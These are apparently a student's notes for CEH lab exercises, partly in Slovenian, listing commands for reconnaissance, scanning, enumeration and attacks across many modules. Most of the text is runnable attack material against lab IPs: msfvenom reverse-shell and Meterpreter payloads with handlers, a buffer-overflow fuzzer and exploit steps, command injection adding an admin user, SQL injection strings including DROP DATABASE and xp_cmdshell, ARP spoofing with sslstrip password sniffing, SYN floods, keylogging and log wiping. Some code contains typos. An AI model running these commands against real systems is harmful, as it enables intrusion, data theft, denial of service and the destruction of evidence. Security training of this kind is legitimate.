CEH LAB

M02

Module 02: Footprinting and Reconnaissance

Lab1

Lab 1: Perform Footprinting Through Search Engines

Task 1: Gather Information using Advanced Google Hacking Techniques

google.com
intitle:login site:eccouncil.org
EC-Council filetype:pdf

cache:
allinurl:
inurl:
allintitle:
inachor:
allinanchor:
link:
related:
info:
location:

Task 2: Gather Information from Video Search Engines

youtube.com
https://mattw.io/youtube-metadata/

Google videos (https://video.google.com)
Yahoo videos (https://video.search.yahoo.com
EZGif (https://ezgif.com)
VideoReverser.com
TinEye Reverse Image Search (https://tineye.com)
Yahoo Image Search (https://images.search.yahoo.com)

Task 3: Gather Information from FTP Search Engines

https://www.searchftps.net/

Global FTP Search Engine (https://globalfilesearch.com)
FreewareWeb FTP File Search (http://www.freewareweb.com)

Task 4: Gather Information from IoT Search Engines

https://www.shodan.io/

Censys (https://censys.io)
Thingful (https://www.thingful.net)

Lab2

Lab 2: Perform Footprinting Through Web Services

Task 1: Find the Company's Domains and Sub-domains using Netcraft

https://www.netcraft.com
https://sitereport.netcraft.com/

$ sublist3r -d 24ur.com

Sublist3r (https://github.com)
Pentest-Tools Find Subdomains (https://pentest-tools.com)

Task 2: Gather Personal Information using PeekYou Online People Search Service

https://www.peekyou.com

pipl (https://pipl.com)
Intelius (https://www.intelius.com)
BeenVerified (https://www.beenverified.com)

Task 3: Gather an Email List using theHarvester

$ theHarvester -d 24ur.com -b duckduckgo

Task 4: Gather Information using Deep and Dark Web Searching

$ Tor Browser

ExoneraTor (https://metrics.torproject.org)
OnionLand Search engine (https://onionlandsearchengine.com)

Task 5: Determine Target OS Through Passive Footprinting

https://censys.io/domain?q=

Netcraft (https://www.netcraft.com)
Shodan (https://www.shodan.io)

Lab3

Lab 3: Perform Footprinting Through Social Networking Sites

Task 1: Gather Employees' Information from LinkedIn using theHarvester

$ theHarvester -d 24ur.com -b linkedin

Task 2: Gather Personal Information from Various Social Networking Sites using Sherlock

$ sherlock jdoe

Social Searcher (https://www.social-searcher.com)
UserRecon (https://github.com)

Task 3: Gather Information using Followerwonk

https://followerwonk.com/analyze

Hootsuite (https://hootsuite.com)
Sysomos (https://www.sysomos.com)

Lab4

Lab 4: Perform Website Footprinting

Task 1: Gather Information About a Target Website using Ping Command Line Utility

$ ping www.certifiedhacker.com
$ ping www.certifiedhacker.com -f -l 1500
$ ping www.certifiedhacker.com -f -l 1300
$ ping www.certifiedhacker.com -f -l 1472

1472 = max packet size....

-l frame size
-i ttl
-n num

$ ping www.certifiedhacker.com -i 3
$ ping www.certifiedhacker.com -i 22 -n 1

Task 2: Gather Information About a Target Website using Central Ops

https://centralops.net

Website Informer (https://website.informer.com)
Burp Suite (https://portswigger.net)
Zaproxy (https://www.owasp.org)

Task 3: Extract a Company's Data using Web Data Extractor

$ Web Data Extractor

ParseHub (https://www.parsehub.com)
SpiderFoot (https://www.spiderfoot.net)

Task 4: Mirror a Target Website using HTTrack Web Site Copier

$ HTTrack Web Site Copier

NCollector Studio (http://www.calluna-software.com)
Cyotek WebCopy (https://www.cyotek.com)

Task 5: Gather a Wordlist from the Target Website using CeWL

$ cewl -d 2 -m 5 www.certifiedhacker.com
$ cewl -w wordlist.txt -d 2 -m 5 www.certifiedhacker.com

-d depth
-m min word length

Lab5

Lab 5: Perform Email Footprinting

Task 1: Gather Information about a Target by Tracing Emails using eMailTrackerPro

$ eMailTrackerPro

Infoga (https://github.com)
Mailtrack (https://mailtrack.io)

Lab6

Lab 6: Perform Whois footprinting

Task 1: Perform Whois Lookup using DomainTools

http://whois.domaintools.com

SmartWhois (https://www.tamos.com)
Batch IP Converter (http://www.sabsoft.com)

Lab7

Lab 7: Perform DNS Footprinting

Task 1: Gather DNS Information using nslookup Command Line Utility and Online Tool

$ nslookup
$ set type=a
$ set type=cname

http://www.kloth.net/services/nslookup.php

Professional Toolset (https://tools.dnsstuff.com), DNS Records (https://network-tools.com)

Task 2: Perform Reverse DNS Lookup using Reverse IP Domain Check and DNSRecon

https://www.yougetsignal.com

$ dnsrecon -d certifiedhacker.com -r 162.241.216.0-162.241.216.255

Lab8

Lab 8: Perform Network Footprinting

Task 1: Locate the Network Range

https://www.arin.net/about/welcome/region

Task 2: Perform Network Tracerouting in Windows and Linux Machines

$ tracert www.certifiedhacker.com
$ tracert -h 5 www.certifiedhacker.com

-h max hops

$ traceroute www.certifiedhacker.com

VisualRoute (http://www.visualroute.com), Traceroute NG (https://www.solarwinds.com)

Lab9

Lab 9: Perform Footprinting using Various Footprinting Tools

Task 1: Footprinting a Target using Recon-ng

$ recon-ng
$ marketplace install all
$ modules search
$ workspaces crete ceh
$ db insert domains
$ show domains
$ modules load recon/domains-hosts/brute_hosts
$ run
$ back
$ modules load recon/domains-hosts/bing_domain_web
$ run
$ back
$ modules load recon/hosts-hosts/reverse_resolve
$ run
$ modules load reporting/html
$ options set FILENAME results.html
$ options set CREATOR parrot
$ options set CUSTOMER CH
$ run

$ recon-ng
$ workspace create recon
$ db insert domains
$ modules load recon/domains-contacts/whois_pocs
$ info command
$ options set SOURCE facebook.com
$ run
$ modules load recon/profiles-profiles/profiler
$ options set source markzuckerberg
$ run
$ modules load reporting/html
$ options set FILENAME results.html
$ options set CREATOR parrot
$ options set CUSTOMER mark

Task 2: Footprinting a Target using Maltego

$ maltego

Entity Pallete, Infrastructure, Website -> Transforms

Task 3: Footprinting a Target using OSRFramework

$ usufy -u TomazMarkelj -p twitter

$ domainfy -n eccouncil -t all
$ searchfy
$ mailfy
$ phonefy
$ entify

Task 4: Footprinting a Target using BillCipher

$ billcipher

Recon-Dog (https://www.github.com), Th3Inspector (https://github.com), Raccoon (https://github.com), Orb (https://github.com)

Task 5: Footprinting a Target using OSINT Framework

https://osintframework.com/

M03

Module 03: Scanning Networks

Lab1

Lab 1: Perform Host Discovery

Task 1: Perform Host Discovery using Nmap

$ Zenmap
$ nmap -sn -PR 10.0.2.15
$ nmap -sn -PU 10.0.2.15
$ nmap -sn -PE 10.0.2.15
$ nmap -sn -PE 10.0.2.1-255

Task 2: Perform Host Discovery using Angry IP Scanner

$ Angry IP Scanner

SolarWinds Engineer's Toolset (https://www.solarwinds.com), NetScanTools Pro (https://www.netscantools.com), Colasoft Ping Tool (https://www.colasoft.com), Visual Ping Tester (http://www.pingtester.net), and OpUtils (https://www.manageengine.com)

Lab2

Lab 2: Perform Port and Service Discovery

Task 1: Perform Port and Service Discovery using MegaPing

$ MegaPing

Task 2: Perform Port and Service Discovery using NetScanTools Pro

$ NetScanTools Pro

Task 3: Explore Various Network Scanning Techniques using Nmap

$ Zenmap
$ nmap -sT -v 10.10.10.16
$ nmap -sX -v 10.10.10.16
$ nmap -sM -v 10.10.10.16
$ nmap -sA -v 10.10.10.16
$ nmap -sU -v 10.10.10.16

Task 4: Explore Various Network Scanning Techniques using Hping3

$ hping3 -A 10.10.10.16 -p 80 -c 5
$ hping3 -8 0-100 -S 10.10.10.16 -V

-8 scan mode
-F FIN flag
-U URG flag
-P PUSH flag

$ hping3 -F -P -U 10.10.10.16 -p 80 -c 5
$ hping3 --scan 0-100 -S 10.10.10.16

-S SYN flag

$ hping3 -1 10.10.10.16 -p 80 -c 5

-1 ICMP scan

$ hping3 -1 10.10.10.0/24 --rand-dest -I eth0

$ hping3 -2 10.10.10.16 -p 80 -c 5

-2 UDP scan

Lab3

Lab 3: Perform OS Discovery

Task 1: Identify the Target System's OS with Time-to-Live (TTL) and TCP Window Sizes using Wireshark

$ Wireshark
$ ping 10.10.10.16

TTL na ICMP reply = 128 -→ windows

$ ping 10.10.10.16
TTL na ICMP reply = 64 -→ linux

Task 2: Perform OS Discovery using Nmap Script Engine (NSE)

$ Zenmap
$ nmap --script smb-os-discovery.nse 10.10.10.16

Task 3: Perform OS Discovery using Unicornscan

$ unicornscan 10.10.10.16 -Iv

TTL = 128 -→ windows

$ unicornscan 10.10.10.9 -Iv

TTL = 64 -→ linux

Lab4

Lab 4: Scan beyond IDS and Firewall

Task 1: Scan beyond IDS/Firewall using various Evasion Techniques

$ nmap -f 10.10.10.10
$ nmap -g 80 10.10.10.10

-g source port

$ nmap -mtu 8 10.10.10.10
$ nmap -D RND:10 10.10.10.10

Task 2: Create Custom Packets using Colasoft Packet Builder to Scan beyond IDS/Firewall

$ Colasoft Packet Builder

Task 3: Create Custom UDP and TCP Packets using Hping3 to Scan beyond IDS/Firewall

$ hping3 10.10.10.10 --udp --rand-source --data 500

-rand-source random source (spoof IP) mode
-data packet body size
-udp udp packets

$ hping3 -S 10.10.10.10 -p 80 -c 5

-S SYN request

$ hping3 10.10.10.10 --flood

Task 4: Create Custom Packets using Nmap to Scan beyond IDS/Firewall

$ Zenmap
$ nmap 10.10.10.16 --data 0xdeadbeef

-data hex string payload

$ nmap 10.10.10.16 --data-string "Pheer me!"
$ nmap 10.10.10.16 --data-length 5

-data-lenght random data length

$ nmap 10.10.10.16 --randomize-hosts
$ nmap 10.10.10.16 --badsum

NetScanTools Pro (https://www.netscantools.com), Ostinato (https://www.ostinato.org), and WAN Killer (https://www.solarwinds.com)

Lab5

Lab 5: Draw Network Diagrams

Task 1: Draw Network Diagrams using Network Topology Mapper

$ Network Topology Mapper

OpManager (https://www.manageengine.com), The Dude (https://mikrotik.com), NetSurveyor (http://nutsaboutnets.com), NetBrain (https://www.netbraintech.com), and Spiceworks Network Mapping Tool (https://www.spiceworks.com)

Lab6

Lab 6: Perform Network Scanning using Various Scanning Tools

Task 1: Scan a Target Network using Metasploit

$ service postgresql start
$ msfconsole
$ db_status
$ exit
$ msfdb init
$ service postgresql restart
$ msfconsole
$ db_status
$ nmap -Pn -sS -A -oX Test 10.10.10.0/24
$ db_import Test
$ hosts
$ services
$ search portscan
$ use 4
$ set interface eth0
$ set ports 80
$ set rhosts 10.10.10.5-20
$ set threads 50
$ run
$ use auxiliary/scanner/portscan/tcp
$ hosts -R
$ run

M04

Module 04: Enumeration

Lab1

Lab 1: Perform NetBIOS Enumeration

Task 1: Perform NetBIOS Enumeration using Windows Command-Line Utilities

$ nbtstat -a 10.10.10.10
$ nbtstat -c
$ net use

Task 2: Perform NetBIOS Enumeration using NetBIOS Enumerator

$ NetBIOS Enumerator

Task 3: Perform NetBIOS Enumeration using an NSE Script

$ Zenmap
$ nmap -sV -v --script nbstat.nse 10.10.10.16
$ nmap -sU -p 137 --script nbstat.nse 10.10.10.16

Lab2

Lab 2: Perform SNMP Enumeration

Task 1: Perform SNMP Enumeration using snmp-check

$ nmap -sU -p 161 10.10.10.16
$ snmp-check 10.10.10.16

Task 2: Perform SNMP Enumeration using SoftPerfect Network Scanner

$ SoftPerfect Network Scanner

Network Performance Monitor (https://www.solarwinds.com), OpUtils (https://www.manageengine.com), PRTG Network Monitor (https://www.paessler.com), Engineer's Toolset (https://www.solarwinds.com), and WhatsUp® Gold (https://www.ipswitch.com)

Lab3

Lab 3: Perform LDAP Enumeration

Task 1: Perform LDAP Enumeration using Active Directory Explorer (AD Explorer)

$ ADExplorer

Softerra LDAP Administrator (https://www.ldapadministrator.com), LDAP Admin Tool (https://www.ldapsoft.com), LDAP Account Manager (https://www.ldap-account-manager.org), LDAP Search (https://securityxploded.com), and JXplorer (http://www.jxplorer.org)

Lab4

Lab 4: Perform NFS Enumeration

$ nmap -p 2049 10.10.10.19
$ echo "10.10.10.19" > Target.txt
$ superenum
$ Target.txt

$ python3 rpc-scan.py 10.10.10.19 --rpc

Lab5

Lab 5: Perform DNS Enumeration

Task 1: Perform DNS Enumeration using Zone Transfer

$ dig ns www.certifiedhacker.com
$ dig @ns1.bluehost.com www.certifiedhacker.com axfr

$ nslookup
$ set querytype=soa
$ certifiedhacker.com
$ ls -d certifiedhacker.com

Task 2: Perform DNS Enumeration using DNSSEC Zone Walking

$ dnsrecon -d www.certifiedhacker.com -z

-z dnssec zone walk

LDNS (https://www.nlnetlabs.nl), nsec3map (https://github.com), nsec3walker (https://dnscurve.org), and DNSwalk (https://github.com)

Lab6

Lab 6: Perform RPC, SMB, and FTP Enumeration

Task 1: Perform SMB Enumeration using NetScanTools Pro

$ NetScanTools Pro Demo
$ SMB Scanner

Task 2: Perform RPC, SMB, and FTP Enumeration using Nmap

$ nmap -p 21 10.10.10.19
$ nmap -T4 -A 10.10.10.19
$ nmap -p 445 10.10.10.19

Lab7

Lab 7: Perform Enumeration using Various Enumeration Tools

Task 1: Enumerate Information using Global Network Inventory

$ Global Network Inventory

Task 2: Enumerate Network Resources using Advanced IP Scanner

$ Advanced IP Scanner

Task 3: Enumerate Information from Windows and Samba Hosts using Enum4linux

$ enum4linux -v
$ enum4linux -u martin -p apple -n 10.10.10.16

-n netbios

$ enum4linux -u martin -p apple -U 10.10.10.16

-U userlist

$ enum4linux -u martin -p apple -o 10.10.10.16

-o OS details

$ enum4linux -u martin -p apple -P 10.10.10.16

-P password policy

$ enum4linux -u martin -p apple -G 10.10.10.16

-G group policy

$ enum4linux -u martin -p apple -S 10.10.10.16

-S share policy

M05

Module 05: Vulnerability Analysis

Lab1

Lab 1: Perform Vulnerability Research with Vulnerability Scoring Systems and Databases

Task 1: Perform Vulnerability Research in Common Weakness Enumeration (CWE)

https://cwe.mitre.org/

Task 2: Perform Vulnerability Research in Common Vulnerabilities and Exposures (CVE)

https://cve.mitre.org/

Task 3: Perform Vulnerability Research in National Vulnerability Database (NVD)

https://nvd.nist.gov/

Lab2

Lab 2: Perform Vulnerability Assessment using Various Vulnerability Assessment Tools

Task 1: Perform Vulnerability Analysis using OpenVAS

$ Openvas - Greenbone

Task 2: Perform Vulnerability Scanning using Nessus

$ Nessus URL

Task 3: Perform Vulnerability Scanning using GFI LanGuard

$ GFI

Task 4: Perform Web Servers and Applications Vulnerability Scanning using CGI Scanner Nikto

$ nikto -H
$ nikto -h www.certifiedhacker.com -Tuning x
$ nikto -h www.certifiedhacker.com -Cgidirs all
$ nikto -h www.certifiedhacker.com -o nikto.txt -F txt

M06

Module 06: System Hacking

Lab1

Lab 1: Gain Access to the System

Task 1: Perform Active Online Attack to Crack the System's Password using Responder

$ sudo ./Responder.py -I eth0

save hash to file hash.txt

$ sudo snap install john-the-ripper
$ john hash.txt

Task 2: Audit System Passwords using L0phtCrack

$ L0phtCrack

Task 3: Find Vulnerabilities on Exploit Sites

https://www.exploit-db.com/

VulDB (https://vuldb.com), MITRE CVE (https://cve.mitre.org), Vulners (https://vulners.com), and CIRCL CVE Search (https://cve.circl.lu)

Task 4: Exploit Client-Side Vulnerabilities and Establish a VNC Session

$ msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=10.10.10.13 LPORT=444 -o /root/Test.exe
$ cp Test.exe /var/www/html/share/
$ msfconsole
$ use exploit/multi/handler
$ set payload windows/meterpreter/reverse_tcp
$ set lhost 10.10.10.13
$ set lport 444
$ run

$ http://10.10.10.13/share/Test.exe

$ sysinfo
$ upload /root/PowerSploit/Privesc/PowerUp.ps1 PowerUp.ps1
$ shell
$ powershell -ExecutionPolicy Bypass -Command ". .\PowerUp.ps1;Invoke-AllChecks"
$ exit
$ run vnc

Task 5: Gain Access to a Remote System using Armitage

$ msfdb init
$ armitage

Hosts - Nmap Scan - Intense Scan
10.10.10.10
payload - windows --> meterpreter; double-click meterpreter_reverse_tcp
lport 444

output exe
cp payload.exe /var/www/html/share
payload - windows --> meterpreter; double-click meterpreter_reverse_tcp
lport 444
output handler

Task 6: Hack a Windows Machine with a Malicious Office Document using TheFatRat

.....

Task 7: Perform Buffer Overflow Attack to Gain Access to a Remote System

$ vulnserver
$ immunity debugger

File - Attach - Vulnserver

$ nc -nv 10.10.10.10 9999

HELP

stats.spl:
s_readline();
s_string("STATS "); (zamenjaj z komando, ki bi jo rad testiral)
s_string_variable("0");

$ generic_send_tcp 10.10.10.10 9999 stats.spk 0 0

fuzz.py:

```
#!/usr/bin/python
import sys, socket
from time import sleep

buf = "A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socker.SOCK_STREAM)
        s.connect(('10.10.10.10', 9999))

        s.send(('TRUN /.:/' + buf))
        s.close()
        sleep(1)
        buf = buf + "A" * 100
    except:
        sys.exit()
```

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 20000

Pattern daš v buf, gledaš vrednost, ki je v EIP.

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 20000 -q 386F4337

buf = 2003 * “A” + “BBBB” + “CCCC”

badcharsi!? - \x00 je 100%

!mona modules

JMP ESP - FFE4

Poiščemo naslov kjer leži funkcija JMP ESP,

!mona find -s “\xff\xe4” -m essfunc.dll

Naslov vnesemo (625011AF) v EIP (BBBB)

buf = 2003 * “A” + “\xaf\x11\x50\x62” + “CCCC”

$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.13 LPORT=4444 EXITFUNC=thread -f c -a x86 -b “\x00”

load = ("payload") oklepaji!

Lab2

Lab 2: Perform Privilege Escalation to Gain Higher Privileges

Task 1: Escalate Privileges using Privilege Escalation Tools and Exploit Client-Side Vulnerabilities

$ msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.10.13 -f exe > Desktop/Exploit.exe
$ cp Exploit.exe /var/www/html/Exploit.exe
$ msfconsole
$ use exploit/multi/handler
$ set payload windows/meterpreter/reverse_tcp
$ set lhost 10.10.10.13
$ run -j -z

$ http://10.10.10.13/share/Exploit.exe

$ session -i 1
$ getuid
$ upload beRoot.exe
$ shell
$ beRoot
$ exit
$ run post/windows/gather/smart_hashdump
$ getsystem
$ background
$ use exploit/windows/local/bypassuac_fodhelper

$ set payload windows/meterpreter/reverse_tcp
$ run
$ getuid
$ getsytem
$ getuid
$ run post/windows/gather/smart_hashdump

Task 2: Hack a Windows Machine using Metasploit and Perform Post-Exploitation using Meterpreter

$ timestomp secret.txt -m “02/11/2018 08:10:03”

-m modified
-a accessed
-c created
-d entry modified

$ download
$ search -f file.ext

$ keyscan_start
$ keyscan_dump

$ idletime

$ shutdown

Lab3

Lab 3: Maintain Remote Access and Hide Malicious Activities

Task 1: User System Monitoring and Surveillance using Power Spy

$ Power Spy

Task 2: User System Monitoring and Surveillance using Spytech SpyAgent

$ SpyAgent

Task 3: Hide Files using NTFS Streams

$ notepad readme.txt
$ type calc.exe readme.txt:calc.exe
$ mklink magic.exe readme.txt:calc.exe

Task 4: Hide Data using White Space Steganography

$ snow -C -m “my CC PIN is 1234” -p “magic” file.txt file2.txt
$ snow -C -p “magic” file2.txt

Task 5: Image Steganography using OpenStego

$ OpenStego

QuickStego (http://quickcrypto.com), SSuite Picsel https://www.ssuitesoft.com), CryptaPix (https://www.briggsoft.com), and gifshuffle (http://www.darkside.com.au)

Task 6: Covert Channels using Covert_TCP

$ ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 9999 -dest_port 8888 -server -file /home/ubuntu/Desktop/Receive/receive.txt

$ ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 8888 -dest_port 9999 -file /home/attacker/Desktop/Send/message.txt

Lab4

Lab 4: Clear Logs to Hide the Evidence of Compromise

Task 1: View, Enable, and Clear Audit Policies using Auditpol

$ auditpol /get /category:*
$ auditpol /set /category:"system","account logon" /success:enable /failure:enable
$ auditpol /clear /y

Task 2: Clear Windows Machine Logs using Various Utilities

$ cipher

Task 3: Clear Linux Machine Logs using the BASH Shell

$ export HISTSIZE=0
$ history -c
$ history -w
$ shred ~/.bash_history
$ shred ~/.bash_history && cat /dev/null > .bash_history && history -c && exit

DBAN (https://dban.org), Privacy Eraser (https://www.cybertronsoft.com), Wipe (https://privacyroot.com), and BleachBit (https://www.bleachbit.org)

M07

Module 07: Malware Threats

Lab1

Lab 1: Gain Access to the Target System using Trojans

Task 1: Gain Control over a Victim Machine using the njRAT RAT Trojan

$ njrat

create server, deliver server, run server

Task 2: Hide a Trojan using SwayzCryptor and Make it Undetectable to Various Anti-Virus Programs

https://www.virustotal.com

Task 3: Create a Server using the ProRat Tool

$ ProRat

Task 4: Create a Trojan Server using Theef RAT Trojan

$ Theef

Lab2

Lab 2: Infect the Target System using a Virus

Task 1: Create a Virus using the JPS Virus Maker Tool and Infect the Target System

$ jpg

Lab3

Lab 3: Perform Static Malware Analysis

Task 1: Perform Online Malware Scanning using VirusTotal

https://www.virustotal.com

Task 2: Perform a Strings Search using BinText

$ BinText

FLOSS (https://www.fireeye.com), Strings (https://docs.microsoft.com), Free EXE DLL Resource Extract (http://www.resourceextract.com), or FileSeek (https://www.fileseek.ca)

Task 3: Identify Packaging and Obfuscation Methods using PEid

$ PEiD

Macro_Pack (https://github.com), UPX (https://upx.github.io), or ASPack (http://www.aspack.com)

Task 6: Perform Malware Disassembly using IDA and OllyDbg

$ IDA
$ OllyDbg

Ghirda (https://ghidra-sre.org), Radare2 (https://rada.re), WinDbg (http://www.windbg.org), and ProcDump (https://docs.microsoft.com)

Lab4

Lab 4: Perform Dynamic Malware Analysis

Task 1: Perform Port Monitoring using TCPView and CurrPorts

$ TCPView
$ CurrPorts

Task 2: Perform Process Monitoring using Process Monitor

$ ProcMon

M08

Module 08: Sniffing

Lab1

Lab 1: Perform Active Sniffing

Task 1: Perform MAC Flooding using macof

$ wireshark

$ macof -i eth0 -n 10

Task 2: Perform a DHCP Starvation Attack using Yersinia

$ wireshark

$ yersinia -I
$ h
$ q
$ F2 (DHCP) ali g
$ x
$ 1
$ q

Task 3: Perform ARP Poisoning using arpspoof

$ wireshark

$ arpspoof -i eth0 -t 10.10.10.1 10.10.10.10
$ arpspoof -i eth0 -t 10.10.10.10 10.10.10.1

Task 4: Perform an Man-in-the-Middle (MITM) Attack using Cain & Abel

$ Cain

Lab2

Lab 2: Perform Network Sniffing using Various Sniffing Tools

Task 1: Perform Password Sniffing using Wireshark

$ wireshark

http://www.moviescope.com/

$ http.request.method == POST

Edit, Find Packet - String, Packet details - pwd (?pass)

Lab3

Lab 3: Detect Network Sniffing

Task 1: Detect ARP Poisoning in a Switch-Based Network

$ wireshark

Analyze, Expert Information - Duplicate IP?

Task 2: Detect ARP Attacks using XArp

$ xarp

M09

Module 09: Social Engineering

Lab1

Lab 1: Perform Social Engineering using Various Techniques

Task 1: Sniff Credentials using the Social-Engineer Toolkit (SET)

$ setoolkit
$ 1
$ 2
$ 3
$ 2
$ 10.10.10.13
$ http://www.moviescope.com

M10

Module 10: Denial-of-Service

Lab1

Lab 1: Perform DoS and DDoS Attacks using Various Techniques

Task 1: Perform a DoS Attack (SYN Flooding) on a Target Host using Metasploit

$ nmap -p 21 10.10.10.10
$ msfconsole
$ use auxiliary/dos/tcp/synflood
$ show options
$ set rhost 10.10.10.10
$ set rport 21
$ set shost 10.10.10.19
$ run

Task 2: Perform a DoS Attack on a Target Host using hping3

$ hping3 -S 10.10.10.10 -a 10.10.10.19 -p 22 --flood
$ hping3 -d 65538 -S -p 21 --flood 10.10.10.10

$ nmap -p 139 10.10.10.19
$ hping3 -2 -p 139 --flood 10.10.10.19

Task 3: Perform a DDoS Attack using HOIC

$ hoic

M11

Module 11: Session Hijacking

Lab1

Lab 1: Perform Session Hijacking

Task 1: Hijack a Session using Zed Attack Proxy (ZAP)

Browser nastavi proxi na ip kjer bo laufal ZAP

$ OWASP ZAP

Options, Local Proxies

+ Break

Set break on all requests (red/green dot)

Browse...

Znotraj Breaka zamenjaš requeste, stepaš, vidiš responses, stepaš, vidiš reuest...

Task 2: Intercept HTTP Traffic using bettercap

$ bettercap -h
$ bettercap -iface eth0
$ net.probe on
$ net.recon on
$ set http.proxy.sslstrip true
$ set arp.spoof.internal true
$ set arp.spoof.targets 10.10.10.10
$ http.proxy on
$ arp.spoof on
$ net.sniff on
$ set net.sniff.regexp '.*password=.+'

Lab2

Lab 2: Detect Session Hijacking

Task 1: Detect Session Hijacking using Wireshark

$ wireshark

$ bettercap -iface eth0
$ net.probe on
$ net.recon on
$ net.sniff on

M12

Module 12: Evading IDS, Firewalls, and Honeypots

M13

Module 13: Hacking Web Servers

Lab1

Lab 1: Footprint the Web Server

Task 1: Information Gathering using Ghost Eye

$ ghost_eye.py
$ 1
$ 2
$ 6

Task 2: Perform Web Server Reconnaissance using Skipfish

$ skipfish -o /root/test -S /usr/share/skipfish/dictionaries/complete.wl http://10.10.10.16:8080

Task 5: Footprint a Web Server using Netcat and Telnet

$ nc -vv www.moviescope.com 80
$ GET / HTTP/1.0
$
$

$ telnet www.moviescope.com 80
$ GET / HTTP/1.0
$
$

Task 6: Enumerate Web Server Information using Nmap Scripting Engine (NSE)

$ nmap -sV --script http-enum www.goodshopping.com
$ nmap --script hostmap-bfk -script-args hostmap-bfk.prefix=hostmap- www.goodshopping.com
$ nmap --script http-trace -d www.goodshopping.com

Lab2

Lab 2: Perform a Web Server Attack

Task 1: Crack FTP Credentials using a Dictionary Attack

$ hydra -L Username.txt -P Passwords.txt ftp://10.10.10.10

M14

Module 14: Hacking Web Applications

Lab1

Lab 1: Footprint the Web Infrastructure

Task 1: Perform Web Application Reconnaissance

Whois lookup:
Netcraft (https://www.netcraft.com), SmartWhois (https://www.tamos.com), WHOIS Lookup (http://whois.domaintools.com), and Batch IP Converter (http://www.sabsoft.com)

DNS Interrogation:
Professional Toolset (https://tools.dnsstuff.com), DNSRecon (https://github.com), and DNS Records (https://network-tools.com), Domain Dossier (https://centralops.net)

$ nmap -T4 -A -v www.moviescope.com

$ telnet www.moviescope.com 80
$ GET / HTTP/1.0
$
$

Task 2: Perform Web Application Reconnaissance using WhatWeb

$ whatweb www.moviescope.com
$ whatweb -v www.moviescope.com
$ whatweb --log-verbose=MovieScope_Report www.moviescope.com

Task 3: Perform Web Spidering using OWASP ZAP

$ zaproxy

Automated Scan

Task 5: Identify Web Server Directories

$ nmap -sV --script=http-enum www.moviescope.com

$ gobuster dir -u www.moviescope.com -w common.txt

Lab2

Lab 2: Perform Web Application Attacks

Task 1: Perform a Brute-force Attack using Burp Suite

$ burpsuite

Ujameš request, pošlješ Intruderju - cluster bomb, izbereš payload polja, zloadaš paylode, attack, opazuješ status

code

Task 2: Perform Parameter Tampering using Burp Suite

$ burpsuite

Ujameš request, spremeniš polja, forwardiraš

Task 5: Enumerate and Hack a Web Application using WPScan and Metasploit

$ wpscan --api-token [API Token] --url http://10.10.10.16:8080/CEH --enumerate vp
$ wpscan --api-token [API Token] --url http://10.10.10.16:8080/CEH --enumerate u

najde username...

$ service postgresql start
$ msfdb init
$ msfconsole
$ use auxiliary/scanner/http/wordpress_login_enum
$ show options
$ set PASS_FILE /home/attacker/Desktop/CEHv11 Module 14 Hacking Web Applications/Wordlist/password.txt
$ set RHOSTS 10.10.10.16
$ set RPORT 8080
$ set TARGETURI http://10.10.10.16:8080/CEH
$ set USERNAME admin
$ run

najde admin - querty@123

Task 6: Exploit a Remote Command Execution Vulnerability to Compromise a Target Web Server

Command Injection:
> | whoami
> | net user test /add
> | net localgroup administrators /add test

Task 7: Exploit a File Upload Vulnerability at Different Security Levels

$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.13 LPORT=4444 -f raw

- spremeni končnico, v requestu jo popravi nazaj
- dodaj GIF98
- preimenuj sliko v skripto

M15

Module 15: SQL Injection

Lab1

Lab 1: Perform SQL Injection Attacks

Task 1: Perform an SQL Injection Attack on an MSSQL Database

$ firefox

' or 1=1 --
'; insert into login values ('john','apple123'); --
' ;create database mydatabase; --
'; DROP DATABASE mydatabase; --
'; exec master..xp_cmdshell 'ping www.certifiedhacker.com -l 65000 -t'; --

Task 2: Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap

$ firefox

Console:
document.cookie

$ sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="XXXX" --dbs
$ sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="XXXX" -D moviescope --tables
$ sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="XXXX" -D moviescope -T User_Login --dump
$ sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="XXXX" --os-shell

Mole (https://sourceforge.net), Blisqy (https://github.com), blind-sql-bitshifting (https://github.com), bsql (https://github.com), and NoSQLMap (https://github.com)

Lab2

Lab 2: Detect SQL Injection Vulnerabilities using Various SQL Injection Detection Tools

Task 2: Detect SQL Injection Vulnerabilities using OWASP ZAP

$ zaproxy

Acunetix Web Vulnerability Scanner (https://www.acunetix.com), Snort (https://snort.org), Burp Suite (https://www.portswigger.net), w3af (http://w3af.org), and Netsparker Web Application Security Scanner (https://www.netsparker.com)

M16

Module 16: Hacking Wireless Networks

Lab1

Lab 1: Perform Wireless Traffic Analysis

Task 1: Wi-Fi Packet Analysis using Wireshark

$ wireshark

Odpres cap file...

AirMagnet WiFi Analyzer PRO (https://www.netally.com), SteelCentral Packet Analyzer (https://www.riverbed.com), Omnipeek Network Protocol Analyzer (https://www.liveaction.com), CommView for Wi-Fi (https://www.tamos.com), and Capsa Portable Network Analyzer (https://www.colasoft.com)

Lab2

Lab 2: Perform Wireless Attacks

Task 1: Crack a WEP network using Aircrack-ng

$ aircrack-ng '/home/attacker/Desktop/Sample Captures/WEPcrack-01.cap'

Task 2: Crack a WPA2 Network using Aircrack-ng

$ aircrack-ng -a2 -b [Target BSSID] -w /home/attacker/Desktop/Wordlist/password.txt '/home/attacker/Desktop/Sample Captures/WPA2crack-01.cap'

-a is the technique used to crack the handshake, 2=WPA technique.
-b refers to bssid; replace with the BSSID of the target router.
-w stands for wordlist; provide the path to a wordlist.

Elcomsoft Wireless Security Auditor (https://www.elcomsoft.com), Portable Penetrator (https://www.secpoint.com), WepCrackGui (https://sourceforge.net), Pyrit (https://github.com), and WepAttack (http://wepattack.sourceforge.net)

M17

Module 17: Hacking Mobile Platforms

Lab1

